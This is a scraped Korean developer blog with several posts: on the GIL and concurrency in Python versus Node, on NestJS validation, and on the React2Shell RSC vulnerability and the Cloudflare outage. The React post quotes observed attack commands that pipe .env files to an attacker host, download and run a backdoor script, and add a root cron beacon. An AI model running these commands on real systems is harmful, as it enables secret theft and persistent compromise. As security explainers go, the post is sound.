특히 Django는 ORM, Admin, Auth 등 많은 기능이 내장되어 있고, 이 모든 것들이 동기 기반으로 설계되어 있잖아요. 이걸 비동기로 전환하려면 프레임워크 전체가 바뀌어야 하는 거니까요. 그래도 Django 4.1부터 async ORM이 점진적으로 지원되고 있고, Python 생태계 전체가 비동기를 향해 나아가고 있으니 긍정적으로 보고 있어요. 

 

그리고..... 개발자의 역량에 따라 동기적인 웹 서버로도 충분히 10M+의 트래픽이 제어 가능하고 인스타라는 선진 사례도 있기 떄문에, 이 모든게 저의 역량에 달린 일이 아닐까..(?????????) 하는 생각도 들었습니다.

 

다음 Python 관련 스터디는 딱히 정해지진 않았지만, 무언가 정리할 만한 주제를 찾아 돌아오도록 하겠습니다.

 

 

 

 

 

 

 

 

 

References

https://peps.python.org/pep-0333

https://instagram-engineering.com/what-powers-instagram-hundreds-of-instances-dozens-of-technologies-adf2e22da2ad

https://read.engineerscodex.com/p/how-instagram-scaled-to-14-million

https://asgi.readthedocs.io/en/latest/

https://gunicorn.org/

https://www.uvicorn.org/

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

React의 CVE 보안 취약점이 연달아 터졌다. (feat. CloudFlare WAF 이슈)

2025. 12. 15. 22:00
728x90
728x90

 

서론

최근 CloudFlare에 두 차례 큰 장애가 발생했습니다.
Zoom, Linkedin, Claude Code, League of Legends, Coinbase 등 CloudFlare를 사용하고 있는 서비스들에서 수십 분에서 수 시간 정도의 다운타임이 발생했어요.

 

두 장애 중 하나는 이번 주제와 관련 없는 DB 권한 변경으로 인한 설정 파일의 팽창 문제였어요.

중복 행으로 인해 비정상적으로 커지면서 메모리 제한을 초과하고 결국 전체 네트워크의 프록시가 패닉 상태에 빠진 사고였습니다.

 

이번 글에서 다룰 주제는 CloudFlare 장애의 원인이 된 또 다른 원인인 React 측의 장애에 대한 내용입니다.

장애 보고서에 따르면 CloudFlare 측에서 React CVE를 해결하는 과정에서 WAF 설정을 잘못 건드려서 터졌다고 해요.

 

최근 초대형 클라우드 서비스나 프레임워크 등에 연달아 이슈들이 발생하다보니 호기심에 파보기 시작했는데요.

현업이나 사이드 프로젝트에서 이슈가 없었어서 와닿지는 않았지만 찾아보니 React 측 보안 이슈는 생각보다 심각한 것 같습니다.

 

  • CVSS 10.0의 최고 심각도 보안 취약점
  • 공개 수 시간 만에 중국 국가 연계 해킹 그룹들이 악용
  • 일주일 만에 추가적인 3개의 취약점이 더 발견됨

이 역사의 현장(?)에 한 명의 개발자로써 기억을 남기고자 포스팅을 남깁니다.

 

 

 

 

 

 

React2Shell (CVE-2025-55182)

11월 29일, React Server Function으로 전송되는 페이로드를 React가 디코딩하는 방식의 결함을 악용하여 인증 없이 원격 코드 실행을 허용하는 React의 보안 취약점이 보고되었어요.

 

이는 CVSS 10.0의 최고 수준의 보안 취약점이에요.

이 점수가 나오려면 CVSS 공식 매트릭의 모든 항목에서 가장 취약한 값을 받아야 합니다.

인증 없이 원격에서 공격 가능하고, 특별한 조건 없이 전체 시스템에 영향을 줄 수 있는 상황이에요.
(자세한 CVSS 표준은 FIRST 공식 문서를 확인해보세요)

 

 

 

원인

이 취약점의 핵심은 RSC(React Server Component)의 서버 사이드 Prototype Pollution(오염) 입니다.

RSC는 클라이언트에서 서버로 데이터를 전송할 때 직렬화/역직렬화를 수행해요.

 

express의 express.json()이나 DRF의 Serializer처럼 프레임워크가 처리해주는 영역이에요.

문제는 이 역직렬화 과정에서 사용자 입력을 제대로 검증하지 않았다는 점이에요.

 

 

 

공격 흐름

입력을 제대로 검증하지 않으니 공격자가 __proto__ 속성을 포함한 악성 페이로드를 전송하면, 서버가 이를 역직렬화하는 과정에서 Object.prototype 자체가 오염되는 문제가 발생할 수 있고, 실제로 발생했습니다.

 

 

 

실제 React 코드에서 어떤 부분이 문제였는지 살펴보겠습니다.

// react-server-dom-webpack (취약 버전)
return moduleExports[metadata[NAME]];

// react-server-dom-webpack (19.0.1+)
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
  return moduleExports[metadata[NAME]];
}

 

위 코드는 취약점 패치 전후의 코드입니다.

아무런 검증이 없던 기존 코드에서는 해당 객체의 속성을 검증하지 않았기 때문에 프로토타입 체인에도 접근할 수 있었던거죠.

 

이 취약점을 악용해서 공격자는 서버에서 임의의 코드를 실행할 수 있어요

 

 

위에 플로우차트 형태로 정리한 것 처럼, 단순 환경 변수를 탈취하는 것을 넘어서 실제 스크립트도 JavaScript로 실행이 가능하다보니 많은 문제들이 발생할 수 있는거죠

 

데이터독의 Security Labs에서 공개한 실제 관찰된 공격 명령들이에요.

# 환경변수 탈취
cat ./.env | curl -X POST -d @- http://attacker.com/collect

# 시스템 정보 수집
uname -a && whoami && hostname

# 원격 셸 다운로드 및 실행
curl http://[공격자IP]:8080/backdoor.sh | sh

# 크론으로 지속적인 공격이나 탈취 가능
echo "* * * * * /tmp/.hidden/beacon" >> /var/spool/cron/crontabs/root

 

 

 

영향 범위

공식 문서에 따르면 영향 범위는 아래와 같아요.

 

 

위 버전이 포함된 RSC 관련 라이브러리를 사용한 모든 곳에서는 문제가 발생할 수 있겠죠. 가령 Next,React Router, Vite 등에서요.

 

 

 

실제 악용 사례

CVE-2025-55182가 12월 3일 공개되자마자, 수 시간 내에 악용이 시작됐습니다.

AWS Security BlogGoogle Blog에 따르면 중국 국가 연계 APT 그룹들이 공개 직후부터 악용을 시작했다고 해요.

 

 

 

CloudFlare의 장애

CloudFlare는 취약점이 공개되자마자 WAF Rule을 배포하여 문제를 해결하려고 했습니다.

문제는 악성 페이로드가 이미 너무 커서 기존 WAF Buffer(128KB)로는 검사가 안 됐다는 거에요.

그래서 버퍼를 1MB로 긴급 증설하다가 전체 트래픽의 28%에 영향을 주는 거대한 장애가 터졌습니다.

아이러니하게도 보안을 강화하려다 서비스가 터진 웃픈 케이스인데요, 그만큼 긴급하게 배포하려고 했던 것 같습니다.


 

 

 

추가 취약점이 또 발견되다

React2Shell 취약점이 터진 지 약 일주일 만에 추가로 3개의 취약점이 더 공개되었는데요. 하나씩 살펴보도록 할게요.

 

 

CVE-2025-55184 / CVE-2025-67779

악성 HTTP 요청으로 React 서버가 무한 루프에 빠지는 취약점이 발생했습니다. 이는 곧 DoS 공격으로 발전(?)할 수 있어요.

 

DoS(Denial of Service)

컴퓨터나 네트워크를 중단시켜 의도된 사용자가 액세스할 수 없게 만드는 공격으로 표적에 트래픽을 쏟아붓거나 충돌을 유발하는 정보를 전송해요. 악의적인 행위자가 장치의 정상적인 작동을 방해하여 컴퓨터 또는 기타 장치를 사용하려는 사용자가 해당 장치를 사용할 수 없게 만드는 것을 목표로 공격한다고 해요.

 

 

 

CVE-2025-55183

서버 함수의 소스 코드가 노출될 수도 있는 문제도 발생할 수 있었다고해요. 원문에서는 Source Code Exposure라고 표현했습니다.

 

'use server';

export async function createUser(name) {
  // API 키가 노출될 수 있음
  const conn = db.connect('API_KEY_HARDCODED_12345');
  const user = await conn.createUser(name);

  return {
    id: user.id,
    message: `Hello, ${name}!`
  };
}
{
  "message": "Hello, async function(a){
    const conn = db.connect('API_KEY_HARDCODED_12345');
    return {id:(await conn.createUser(a)).id, message:`Hello, ${a}!`}
  }!"
}

 

물론 예시에서처럼, 실제 프로덕션의 환경 변수를 매직 스트링 형태로 작성하거나 환경 변수 파일을 그대로 레포지토리에 관리하지는 않겠지만, 함수 전체의 소스 코드 자체가 문자열로 직렬화되어 응답에 포함될 수 있었다고 합니다.

 

 

 

 

 

정리

한국에서는 점유율이 압도적인 원탑인 프론트엔드 프레임워크에서 여러 취약점들이 잇따라 발생한 이례적인 상황인 것 같습니다.

한 명의 개발자로써, 여러 기술들을 필연적으로 사용하다보니 언젠가는 저에게도 발생할 수 있는 이슈라고 생각하고 빠르게 대응할 수 있도록 항상 눈과 귀를 열어두는 것도 중요하다는 것을 다시 한 번 깨닫게 되는 것 같습니다.

 

주제와는 별개일 수 있지만, 오픈소스에 꾸준히 기여하는 한 사람으로서도 여러 기여를 하면서 특히 보안적인 이슈들은 Breaking Changes보다 더 각별하게 신경쓰고, 검토하고 또 검토하면서 기여를 해나가야 될 것 같다라는 생각이 드네요. 제 한 줄의 코드가 엄청난 파급력을 전파할 수 있다는 것을 다시한 번 깨닫게 되는 것 같습니다 허허...

 

마지막으로,

더 상세하게, 그리고 실제 코드 베이스를 기반으로 이번 취약점을 직접 확인해보고 싶으신 분들은 개인적으로 코드팩토리님의 영상이 가장 간단하지만 쉽게 설명되어 있으니 확인해보시면 좋을 것 같아요. 

 

 

 

 

 

 

 

 

Refereces.

https://blog.cloudflare.com/18-november-2025-outage/

https://blog.cloudflare.com/5-december-2025-outage/

https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components

https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/

https://aws.amazon.com/ko/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/

https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182?hl=en

https://www.first.org/cvss/v3.1/specification-document

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

Python의 GIL(Global Interpreter Lock) - Node와 비교하며 이해하기

Tech/Python 2025. 12. 9. 21:35
728x90
728x90

 

서론

Node를 처음 접할 때, 가장 먼저 이해해야하는 것들 중에는 아래와 같은 개념들이 있습니다.

JS 실행은 기본적으로 싱글 스레드다.
대신 이벤트 루프와 비동기 I/O로 동시성을 만든다.
CPU를 갈아 넣는 작업은 워커나 별도 프로세스가 담당한다.

 

저도 Java를 짧게 다루다가 Node로 처음 기술 스택을 전환했을 때 위와 같은 개념을 먼저 접했던 것 같습니다.

그리고 이런 개념들은, Node의 JavaScript 실행 방식은 기준점이 되어 프로그래밍을 하면서 항상 생각하고, 녹여내려고 했습니다.

기본적인 async/await는 물론이고, 이벤트 루프를 막을 법한 무거운 연산은 워커로 빼는 식의 설계를 자연스럽게 떠올리게 됐습니다.

 

 

최근 Python으로 스택 전환을 하면서, Python은 동시성 처리를 어떻게 해야할까? 라는 생각에 조금씩 학습을 하고 있습니다.

제가 Node에서 체화했던 동시성 처리 부분이 Python에서 혼동이 생겨 동시성 처리의 핵심이 되는 GIL(Global Interpreter Lock)에 관련된 내용을 정리하고자 합니다. 미리 요약하면 다음과 같습니다.

 

  • GIL이란? CPython에서 GIL이 생긴 이유
  • 멀티스레딩이 실제로 어떻게 제한되는지
  • Node.js와 Python의 동시성 모델 비교
  • 그래서 어떤 설계를 선택할지
  • GIL과 관련해서 2025년 기준의 방향성

에 대해 정리해보겠습니다.

 

 

 

 

GIL(Global Interpreter Lock)

The global interpreter lock, or GIL, is a mutex that protects access to Python objects, preventing multiple threads from executing Python bytecodes at once. - Python Wiki

 

 

GIL(Global Interpreter Lock)은 한 번에 하나의 스레드만 Python 바이트코드를 실행할 수 있도록 보장하는 뮤텍스이며 CPython의 특성입니다. GIL 덕분에 thread-safe를 보장하지만, 같은 프로세스 안에서 스레드가 여러 개 있어도 한 번에 하나의 인터프리터만 실행시키는 제약이 생깁니다.

 

 

1. CPython

  JavaScript는 V8, SpiderMonkey, NodeJS, Deno, Bun 등 여러 런타임이 존재합니다.

  Python도 실행하는 인터프리터의 종류가 다양하며, 그 중 가장 널리 쓰이는 공식 구현체가 C로 작성된 CPython입니다.

 

2. Mutex

  Mutex(Mutual Exclusion)는 공유 자원에 대한 동시 접근을 막는 동기화 메커니즘입니다.

  GIL은 일종의 열쇠입니다. 이 GIL을 통해 하나의 스레드에서 작업을 수행하고 반납하면, 다음 스레드에서 GIL을 얻어 작업을 수행합니다.

 

 

동작 방식을 시각화해보면 다음과 같습니다.

 

 

 

Python 3.2 기준으로 CPython은 기본적으로 5ms 간격으로 GIL을 해제하여 다른 스레드에게 실행 기회를 줍니다.

이 간격은 sys.getswitchinterval() 로 확인해볼 수 있습니다.

 

 

 

GIL은 왜 존재할까?

GIL 때문에 멀티스레드가 제한된다는 건 알겠습니다. 근데 왜 굳이 이런 제약을 만들었을까요? 동시성에 제약이 생긴다는 것은 많은 부분에서 성능 이슈들이 발생할 잠재적인 원인이 될 수 있는데 말이에요.

 

이해를 돕기 위해 CPython의 메모리 관리 방식을 조금 뜯어보았습니다.

 

 

CPython의 메모리 관리

CPython은 참조 카운팅(Reference Counting) 기반의 GC를 사용합니다.

 

import sys

a = []          # 리스트 객체 생성, refcount = 1
b = a           # 같은 객체 참조, refcount = 2
print(sys.getrefcount(a))  # 3 (함수 인자로 전달되면서 +1)

del b           # refcount = 2
del a           # refcount = 1 → 스코프 종료 시 0 → 메모리 해제

 

모든 Pyhthon 객체는 내부적으로 ob_refcnt 라는 참조 카운터를 가지고 있어요.

 

typedef struct _object {
    Py_ssize_t ob_refcnt;    // 참조 카운트
    PyTypeObject *ob_type;    // 타입 정보
} PyObject;

 

객체를 참조할 때마다 이 카운터가 증가하고, 참조가 해제되면 감소하는 구조입니다. 카운터가 0이 되면 메모리에서 해제되는거죠.

 

 

GIL이 없다면?

만약 GIL이 없어 여러 스레드가 동시에 같은 객체를 참조한다면, 예상하시다시피 Race Condition이 발생하게 되죠.

이 현상은 참조 카운터에도 동일하게 적용됩니다.

 

 

현재 참조 카운트가 1인 객체를 스레드 1과 스레드 2가 동시에 참조했습니다.

두 번의 참조가 추가되었기 때문에 당연히 3일 줄 알았지만 결과는 2가 될 수 있어요.

 

이런 상황이 반복되면 실제로 참조중이지만 GC에 의해 객체가 메모리에서 해제되어 참조에 실패하게되고

반대의 경우에는 참조가 끝났지만 메모리에 남아있어 메모리 누수가 발생하게 됩니다.

 

 

 

왜 하필 GIL인가?

여기까지 이해한 내용을 바탕으로 곱씹어보니, 참조 카운트마다 개별 락을 걸어도 될 것 같다는 생각이 들었습니다.

물론 당연히 구현 복잡도는 올라가겠지만 현대의 프로그래밍에서 이 정도의 복잡성을 해결하지 못할 리가 없으니까요.

 

하지만, Python이 만들어졌을 때는 1991년으로 싱글 코어 CPU가 일반적이었다고 해요.

GIL은 그 당시 시대성을 반영한 단일 스레드 성능의 최적화 라는 관점에서의 합리적인 선택이었다고 합니다.

 

 

 

 

Node와의 동시성 모델 비교

저를 포함한 Node 개발자 입장에서 동시성 처리에 혼동이 오는 이유는, Node의 동시성과 병렬 처리 방식과 Python의 방식이 다르기 때문이라고 생각합니다.

 

 

Node와 JavaScript의 철학은 다음과 같죠

 

  • JavaScript 코드는 싱글 스레드에서 실행
  • I/O 작업은 libuv의 스레드 풀에서, 또는 OS 비동기 API로 위임
  • I/O 완료를 기다리지 않고 다음 작업을 진행하는 Non-Blocking 모델
  • 콜백과 Promise로 결과 처리

 

const fs = require('fs').promises;

async function readFiles() {
    // 두 파일 읽기가 "동시에" 진행
    const [file1, file2] = await Promise.all([
        fs.readFile('a.txt'),
        fs.readFile('b.txt')
    ]);
    return [file1, file2];
}

 

 

 

Node가 싱글 스레드 + 이벤트 루프인데 반해 CPython은 멀티스레드 + GIL 조합을 사용합니다.

 

 

 

여러 스레드를 생성할 수 있지만, GIL 때문에 Python 코드를 실행하는 스레드는 하나일 수밖에 없습니다.

데이터베이스의 락처럼, 해제를 기다리게 되죠. (단, I/O 작업에는 GIL이 해제되어 다른 스레드가 실행될 수 있습니다.)


NodeJS에서 Promise.all로 동시에 파일을 읽었다면, Python에서는 스레드를 직접 생성해서 처리합니다.

 

import threading

def read_file(filename):
    with open(filename) as f:
        return f.read()

# 스레드 생성
t1 = threading.Thread(target=read_file, args=('a.txt',))
t2 = threading.Thread(target=read_file, args=('b.txt',))

t1.start()
t2.start()
t1.join()
t2.join()

 

 

 

차이점 정리

 

 

 

 

 

CPU bound 와 I/O bound

GIL의 영향이 작업 유형에 따라 달라지는데요.

CPU bound 작업과 I/O bound 작업을 비교해보겠습니다.

 

CPU bound

CPU bound 작업에서는 멀티스레드를 활용하더라도 작업 속도 개선에 도움되지 않는데요. 바로 코드로 확인해보겠습니다.

 

import threading
import multiprocessing
import time

def count_primenum(n):
    """2부터 n-1까지 소수 개수 세기"""
    count = 0
    for i in range(2, n):
        if all(i % j != 0 for j in range(2, int(i**0.5) + 1)):
            count += 1
    return count

def main():
    N = 1000000

    # 순차 실행
    start = time.time()
    count_primenum(N)
    count_primenum(N)
    print(f"순차: {time.time() - start:.2f}초")

    # 멀티스레드 실행
    start = time.time()
    t1 = threading.Thread(target=count_primenum, args=(N,))
    t2 = threading.Thread(target=count_primenum, args=(N,))
    t1.start()
    t2.start()
    t1.join()
    t2.join()
    print(f"멀티스레드: {time.time() - start:.2f}초")

    # 멀티프로세싱 실행
    start = time.time()
    with multiprocessing.Pool(2) as p:
        p.map(count_primenum, [N, N])
    print(f"멀티프로세싱: {time.time() - start:.2f}초")

if __name__ == '__main__':
    main()

 

 

 

순차 실행과 멀티 스레드의 실행 속도가 거의 동일합니다.

GIL 때문에 두 스레드가 번갈아 실행되지만, 결국 한 번에 하나의 스레드만 Python 코드를 실행하기 때문에 총 소요 시간은 순차 실행과 다를 바가 없습니다. 별개로 위 예제에서는 멀티프로세싱은 프로세스를 여러 대 활용하는 것이기 때문에, 영향을 받지 않습니다.

 

공부하면서 코드로 실제로 확인해보고나니 오히려 스레드가 많아지면 GIL 획득과 해제 오버헤드가 추가되어 더 느려질 수도 있겠다는 생각이 드네요. GIL의 간격마다 해제되고 새로 GIL을 획득하는 과정을 반복하게 되기 때문이겠죠.

 

 

I/O bound

위에서 언급했다시피 I/O 작업에서는 조금 다른데요. 블로킹 작업에서는 GIL이 해제됩니다.

 

import threading
import time
import requests

URL = "https://example.com"

def io_work():
    requests.get(URL)

def run_sequential(num_requests=20):
    start = time.time()
    for _ in range(num_requests):
        io_work()
    return time.time() - start

def run_threads(num_threads=20):
    threads = []
    start = time.time()
    for _ in range(num_threads):
        t = threading.Thread(target=io_work)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    return time.time() - start

if __name__ == "__main__":
    print(f"순차 (20회): {run_sequential(20):.2f}초")
    print(f"멀티스레드 (20개): {run_threads(20):.2f}초")

 

 

CPU 작업과는 달리 20개 요청이 거의 단일 요청 시간과 비슷하게 완료되는데요.

스레드에서 I/O 대기중에는 GIL이 해제되기 때문에, 다른 스레드에서 GIL을 획득하여 그 시간을 활용할 수 있습니다.

 

 

20개의 스레드는 너무 많기에, 3개만 압축해서 플로우 차트를 그려봤어요.

세 개의 스레드로도 복잡한데요. 요약하자면 Python 코드, 즉 바이트 코드를 실행하기 위해서 GIL이 필요합니다.

 

하지만 I/O bound는 커널 혹은 OS 레벨의 작업이 필요하기 때문에 GIL을 반환하게 돼요. 이 때 다른 스레드에서 GIL을 획득해요.

 

백그라운드 작업이 끝난 뒤에도 마찬가지입니다. 그 뒤에 실행 로직들이 있다면 다시 GIL을 획득해야만 작업할 수 있어요.

 

 

 

 

 

다시 정리하겠습니다.

 

I/O 대기중에는 GIL이 풀리므로 다른 스레드가 그 시간을 활용할 수 있어요.

반면 CPU 작업에서는 GIL을 번갈아 잡기 때문에 스레드가 많을수록 오버헤드가 생깁니다.

 

 

 

 

동시성과 최적화 모두 잡기

GIL에 대해 알아봤어요.

그렇다면 극단적으로 보이는 GIL 위에서, 개발자인 저는 상황에 맞게 동시성을 제한하거나, 동시성을 극대화하는 등 다양한 방향으로 구현을 해야할텐데요. 실제로 어떻게 구현을 해야할까요? 무엇을 어떻게 써야할까요?

 

 

멀티프로세싱

위에서 보여드린 예제처럼, 멀티프로세싱을 활용하는 방법이 있습니다.

 

위 내용들에서 눈치채셨겠지만, GIL은 프로세스 단위로 존재해요.

스레드는 같은 프로세스 내에서 메모리를 공유하기 때문에 GIL로 동기화가 필요하지만, 프로세스는 완전히 독립된 메모리 공간을 가지기 때문에 독립적인 Python 인터프리터와 GIL을 갖게 됩니다. 즉 4개의 프로세스를 띄우면 4개의 GIL이 독립적으로 동작하고, 각 프로세스는 서로의 GIL에 영향을 받지 않아 병렬 실행이 가능해지죠.

 

 

 

아래의 상황에서 고려해볼 수 있을 것 같아요.

 

  1. CPU bound 작업이 명확한 이미지 처리나 연산 처리 등
  2. 작업 단위가 독립적이고 데이터/상태 공유가 적음
  3. 작업 하나의 실행 시간이 프로세스 생성 오버헤드보다 클 때

 

하지만 IPC 오버헤드가 우려되거나, 비동기 처리가 더 효율적일 때는 사용을 피하는 게 좋습니다.

 

 

 

비동기처리

NodeJS의 async/await와 유사한 모델인 asyncio를 사용할 수도 있어요.

 

asyncio는 코루틴 기반의 비동기처리 모델로 싱글 스레드에서 이벤트 루프를 통해 여러 I/O 작업을 동시에 처리합니다.

스레드를 여러 개 만들지 않고도 I/O 대기 시간을 효율적으로 활용할 수 있어요.

 

Node 개발자라면 익숙한 패턴이죠

 

import asyncio
import aiohttp

async def fetch_url(session, url):
    async with session.get(url) as response:
        return await response.text()

async def main():
    urls = ['https://example.com'] * 10

    async with aiohttp.ClientSession() as session:
        tasks = [fetch_url(session, url) for url in urls]
        results = await asyncio.gather(*tasks)

    return results

asyncio.run(main())

 

 

threading(멀티스레딩)과 asyncio는 뭐가 다를까요? 저는 위에서 threading 방식도 I/O bound 작업에 효과적이라고 언급했습니다.

 

핵심 차이는 동시성을 만드는 방식에 있어요.

 

  • threading: OS가 스레드를 관리하고, OS가 컨텍스트 스위칭 결정
  • asyncio: 이벤트 루프가 코루틴을 관리하고, await 지점에서 능동적으로 제어권을 넘김

 

이런 방식의 차이 때문에, asyncio는 스레드를 만들지 않기 때문에 컨텍스트 스위칭 오버헤드가 적고 메모리 사용량도 낮습니다.

동시 요청이 수백 ~ 수천 개로 늘어나도 threading처럼 리소스가 폭발적으로 사용되진 않아요.

 

다만 제약도 있습니다.

 

  • 사용하는 라이브러리가 async를 지원해야함
  • CPU bound 작업에는 여전히 적합하지 않음 (싱글 스레드니까)

 

일반적인 서버 애플리케이션은 네트워크, DB, 파일 등 I/O 작업 비중이 높기 때문에 async 지원 라이브러리를 쓰고 있다면 asyncio가 자연스러운 선택이 될거에요.

 

 

 

GIL을 해제하기

NumPy, Pandas 같은 라이브러리는 C로 작성된 부분에서 GIL을 해제한다고 합니다.

 

import numpy as np

# NumPy 연산은 C 레벨에서 GIL 해제 후 병렬 처리
a = np.random.rand(10000, 10000)
b = np.random.rand(10000, 10000)
c = np.dot(a, b)

 

또, Cython에서는 명시적으로 GIL을 해제할 수 있어요. 마치 free 처럼요

 

# example.pyx
from cython.parallel import prange

def parallel_sum(double[:] arr):
    cdef double total = 0
    cdef int i

    with nogil:  # GIL 해제
        for i in prange(arr.shape[0]):
            total += arr[i]

    return total

 

 

 

 

 

Python ^3.13: Free Threaded Python

Python 3.13부터 Cpython에서는 GIL을 비활성화한 빌드인 free threading을 실험적으로 지원합니다.

자세한 내용은 PEP 703에서 제안한 Making the Global Interpreter Lock Optional in CPython을 확인해보시면 좋습니다.

 

저는 pyenv를 사용해서 한 번 적용해보겠습니다.

 

# free-threaded 버전 확인
pyenv install --list | grep 3.13t

# free-threaded 버전 설치 (3.13t가 있으면)
pyenv install 3.13t-dev  # 또는 3.13.0t 같은 형식

# 해당 디렉토리에서 사용
pyenv local 3.13t-dev

 

import sys

print(sys._is_gil_enabled()) # False = Free-threaded

 

세팅을 마무리하고, 위의 CPU bound의 예제 코드인 primenum 코드를 다시 실행시켜볼게요.

 

 

이전 결과와는 많이 다른 모습을 볼 수 있어요. GIL이 없기 때문에 두 스레드가 각자의 CPU 코어에서 진짜 동시에 실행 된거죠.

 

 

주의사항: 명시적 동기화 필수

Free threaded가 적용된 Python에서는 GIL이 암묵적으로 보장하던 안전성이 사라집니다.

락이 걸리지 않고 동시에 같은 자원을 공유할 수 밖에 없기 때문에, Race Condition이 발생한다고 이해하면 쉬워요.

 

한 번 확인해보겠습니다.

 

import threading

shared_iter = iter(range(100000))
results = []

def consume():
    for item in shared_iter:
        results.append(item)

threads = []
for _ in range(10):
    t = threading.Thread(target=consume)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

print(f"예상: 100000개, 실제: {len(results)}개")
print(f"중복 있음: {len(results) != len(set(results))}")

 

 

간단하게, 여러 스레드에서 공유하는 하나의 이터레이터를 카운팅하는 로직을 만들어봤습니다.

결과는 보시다시피 서로 공유된 자원을 마구마구 침범하는(?) 결과를 보실 수 있어요.

 

이런 문제가 발생하지 않게 하기 위해서는, 공유 자원을 적절하게 관리하는 추가적인 방법을 생각해야합니다.

 

 

 

GIL 제거 로드맵

PEP 703에서 정리한 GIL 제거에 대한 내용을 로드맵 형태로 정리해봤습니다.

 

 

아마 이 GIL이 구시대에 적합한 유물(?)이다보니 제거하는 방향으로 나아가고 있는 것 같아요.

 

 

 

 

정리

제가 GIL을 바라보는 시각은 여전히 부정적이에요.

하지만 저는 개발을 2022년, 매우 현대적인 환경에서 접했고 Python이 태어난 년도와는 근본적으로 여러 환경의 차이가 있습니다.

그 당시의 CPython을 개발할 때, 당시 시대상을 반영한 동시성/성능의 타협점이 아니었을까 생각합니다.

 

Python 또한 이런 문제점들을 개선하기 위해 GIL을 제거하려고 준비하고 있으니 제가 현재 속해있는 레거시 환경에서도 변화를 적용할 준비를 해야겠습니다. (아직 3.9버전대를 사용중이에요)

 

Node에서 Python으로 스택 전환을 하면서, 해당 기술의 컨셉들을 하나씩 파보는 것을 목표로 하고 있어요.

다음 포스팅은, 또 다른 레거시의 산물인 WSGI에 대해 조금 깊게 들여다보려고 합니다.

 

 

 

 

 

References

https://wiki.python.org/moin/GlobalInterpreterLock

https://docs.python.org/3/library/threading.html

https://docs.python.org/3/c-api/init.html

https://peps.python.org/pep-0703

https://peps.python.org/pep-0779

https://docs.python.org/3/howto/free-threading-python.html

https://docs.python.org/3/whatsnew/3.13.html

https://realpython.com/python313-free-threading-jit

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

NestJS standard-schema 기반 유효성 검사 오픈소스를 만들었어요

OpenSource 2025. 12. 2. 20:42
728x90
728x90

 

 

NestJS에서 최근 발행된 이슈를 트래킹하다가 아이디어를 얻어 유효성 검사 라이브러리를 하나 만들게 되었습니다.

간단하게 왜 개발하게 되었는지, 어떤 차별점들이 있는지 등을 소개하려고 합니다.

 

 

 

왜 만들었는지?

Javascript 진영에도 무수히 많은 Validation 라이브러리가 존재합니다.

Zod, Valibot, Joi, ArkType, Yup 등등 대표적인 것들만 해도 손에 꼽기 어려울 정도로 많습니다.

 

이미 커뮤니티에서 검증된 오픈소스들이 있음에도 불구하고, 아래와 같은 이유로 직접 만들게 되었습니다.

 

 

커뮤니티의 니즈

NestJS의 이슈를 트래킹하다가 최근 Validation을 다룬 이슈를 발견했습니다. 내용을 요약하자면, NestJS에서 공식적으로 zod를 패키징하기를 원했습니다. nestjs-zod라는 서드파티 라이브러리가 이미 존재했지만, 공식적으로 이관될지 별도의 패키지가 나올지 아무도 모릅니다. 불확실하죠. nestjs-zod 오픈소스에서 논의되었던 내용은 2년이 지난 지금 중단된 상태입니다.

 

항상 오픈소스 커뮤니티에서 원하는 것은 좋은 기능들과 더불어 꾸준히 관리되는 패키지라고 생각합니다.

 

 

TypeScript, NestJS를 떠나면서 남기는 결과물

저는 최근 이직을 했습니다. 새로운 환경에서 전혀 다른 스택들을 사용하기 때문에 잠시 TypeScript 진영을 떠나게 되었습니다. 물론 계속해서 관심을 가지고 있으나, 만 2년 TypeScript로, NestJS로 개발을 했기 때문에 2년 동안 개발자로서 얼마나 성숙하게 되었는지 확인해보고 싶었습니다.

 

 

항상 오픈소스를 만들고싶었습니다. 한국에서 TypeScript 진영의 오픈소스 거장(?)이신 삼촌님, 동윤님의 레포를 항상 구경하면서 언젠가 나만의 작은 오픈소스(?)를 만들고 싶었고, 아이디어가 없다는 핑계로 계속 미뤄왔었던 것 같아요.

 

이번 기회에 작은 니즈를 발견했고, 직접 해결해보면서 꾸준히 운영할 수 있는 오픈소스 운영자가 되어보기로 했습니다. 물론 커뮤니티의 선택을 받아야 하겠지만요

 

 

 

어떤 차별점이 있는지?

기존 NestJS의 방식

먼저 기존 방식을 짚어볼게요.

 

NestJS는 기본적으로 class-validator + class-transformer 조합과 통합되어 있습니다. ValidationPipe를 글로벌로 등록하면 DTO 클래스의 데코레이터를 읽어 자동으로 검증해줘요.

class CreateUserDto {
  @IsString()
  @MinLength(1)
  name: string;

  @IsEmail()
  email: string;
}

 

만약 Zod, Valibot으로 교체하고 싶다면 기존 cv/cf 외에 원하는 Validator을 설치해야해요.

 

NestJS의 Pipe는 내부적으로 cv/cf와 결합되어있기 때문에, 필요한 Pipe를 직접 구현해야하는 불편함도 있어요.

// zod를 이용한 Pipe
import { PipeTransform, BadRequestException } from '@nestjs/common';
import { ZodSchema, ZodError } from 'zod';

export class ZodValidationPipe implements PipeTransform {
  constructor(private schema: ZodSchema) {}

  transform(value: unknown) {
    const result = this.schema.safeParse(value);

    if (!result.success) {
      throw new BadRequestException({
        message: 'Validation failed',
        errors: result.error.errors.map(err => ({
          path: err.path,
          message: err.message,
        })),
      });
    }

    return result.data;
  }
}

@Post()
create(@Body(new ZodValidationPipe(CreateUserSchema)) body: CreateUserDto) {
  return body;
}

 

Zod가 아닌 다른 Validator로 교체하더라도 다른 Pipe를 구현해야하죠.

// valibot
import { PipeTransform, BadRequestException } from '@nestjs/common';
import { BaseSchema, safeParse } from 'valibot';

export class ValibotValidationPipe implements PipeTransform {
  constructor(private schema: BaseSchema) {}

  transform(value: unknown) {
    const result = safeParse(this.schema, value);

    if (!result.success) {
      throw new BadRequestException({
        message: 'Validation failed',
        errors: result.issues.map(issue => ({
          path: issue.path?.map(p => p.key),
          message: issue.message,
        })),
      });
    }

    return result.output;
  }
}

 

 

